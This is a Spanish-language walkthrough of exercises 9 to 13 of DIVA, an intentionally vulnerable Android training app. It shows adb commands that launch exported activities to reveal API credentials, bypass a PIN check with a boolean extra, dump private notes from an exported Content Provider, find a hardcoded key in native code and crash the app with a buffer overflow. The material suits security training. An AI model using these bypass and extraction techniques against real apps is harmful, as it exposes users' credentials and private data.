Profundización en la auditoría de DIVA: ejercicios 9 al 13, cubriendo bypass de control de acceso, credenciales de API, Content Providers y desbordamiento de buffer en código nativo.
La actividad que muestra las credenciales de API puede invocarse directamente desde fuera de la app:
# Identificar el administrador de actividades con logcat:
adb shell logcat | grep "APICreds"
# Cerrar DIVA completamente, luego invocar la actividad:
am start -n jakhar.aseem.diva/.APICreds1Activity
Resultado: las credenciales de API se muestran sin ninguna autenticación desde cualquier otra app.
La actividad APICreds2Activity usa un booleano check_pin para decidir si muestra el PIN. Pasamos false para saltarnos la verificación:
# Deshabilitar la verificación de PIN:
am start -n jakhar.aseem.diva/.APICreds2Activity --ez check_pin false
# --ez → introduce un extra booleano (Extra Boolean)
# false → deshabilita la verificación del PIN
Las notas privadas se almacenan en un Content Provider exportado sin autenticación (android:exported="true"). Se puede consultar directamente:
# Consultar el Content Provider desde adb:
content query --uri content://jakhar.aseem.diva.provider.notesprovider/notes
# Devuelve todas las notas privadas sin necesitar el PIN
La app usa una clase JNI (DivaJni) que llama a código nativo en C. La clave está en texto plano en la librería:
# Ruta de la librería nativa:
app/src/main/jni/divajni.c
# La clave aparece sin cifrar en el código C
# Probarla directamente en la app da acceso
La función nativa initialLaunchSequence define CODESIZEMAX 20. Al introducir más de 20 caracteres se produce un desbordamiento de buffer:
# La constante en divajni.c:
#define CODESIZEMAX 20
# Al introducir más de 20 caracteres:
# → Desbordamiento de buffer
# → La app se bloquea (crash/DoS)
# Esto simula cómo un atacante puede crashear la app
# o en casos reales, ejecutar código arbitrario
| Ejercicio | Vulnerabilidad | Técnica |
|---|---|---|
| 9 | Broken Access Control | am start directo |
| 10 | Broken Access Control + PIN bypass | am start --ez false |
| 11 | Content Provider inseguro | content query URI |
| 12 | Hardcoded key en JNI | Análisis de .c nativo |
| 13 | Buffer Overflow | Input > CODESIZEMAX |